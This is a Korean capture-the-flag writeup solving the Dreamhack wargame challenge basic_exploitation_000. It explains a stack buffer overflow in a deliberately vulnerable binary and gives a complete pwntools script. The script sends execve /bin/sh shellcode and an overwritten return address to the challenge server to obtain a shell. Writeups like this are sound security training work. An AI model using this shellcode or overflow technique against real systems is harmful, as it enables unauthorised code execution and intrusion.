[dreamhack] basic_exploitation_000 writeup

1. 문제

thumbnail
basic_exploitation_000

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/2

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

buf의 주소를 출력하고, 141바이트만큼 입력받는다.


간단한 BOF 문제이다. buf 변수의 주소를 주는데다가, NX도 걸려있지않고, canary도 없기 때문에 그냥 리턴 주소를 buf 변수의 주소로 덮고 buf에는 쉘코드를 넣어주면 쉘이 실행된다. 게다가 gdb로 확인했을때도 buf의 위치가 [ebp-0x80]이었기 때문에 128 (buf) + 4 (sfp) + 4 (ret)해서 136바이트면 덮으므로 충분하다.

쉘코드는 그냥 인터넷에 검색해서 가져왔는데, 가장 기본적으로 쓰이는 25 bytes 쉘코드에는 scanf에서 읽지못하는 문자가 있다고 한다. scanf에서 읽지못하는 문자들은 아래와 같다.

\x09, \x0a, \x0b, \x0c, \x0d, \x20

이를 잘 피해서 다른분들이 만들어놓은 쉘코드로 해결했다.

from pwn import *

p = process("./basic_exploitation_000")
p = remote("host3.dreamhack.games", 19967)

tmp = p.recvuntil("\n")
buf_addr = int(tmp.split(b"(")[1].split(b")")[0].decode(), 16)

print(buf_addr)

payload = b"\x90" * 3
payload += b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b'\x90' * 99
payload += b'\x90' * 4

print(len(payload))
payload += p32(buf_addr)
p.sendline(payload)

p.interactive()

해결~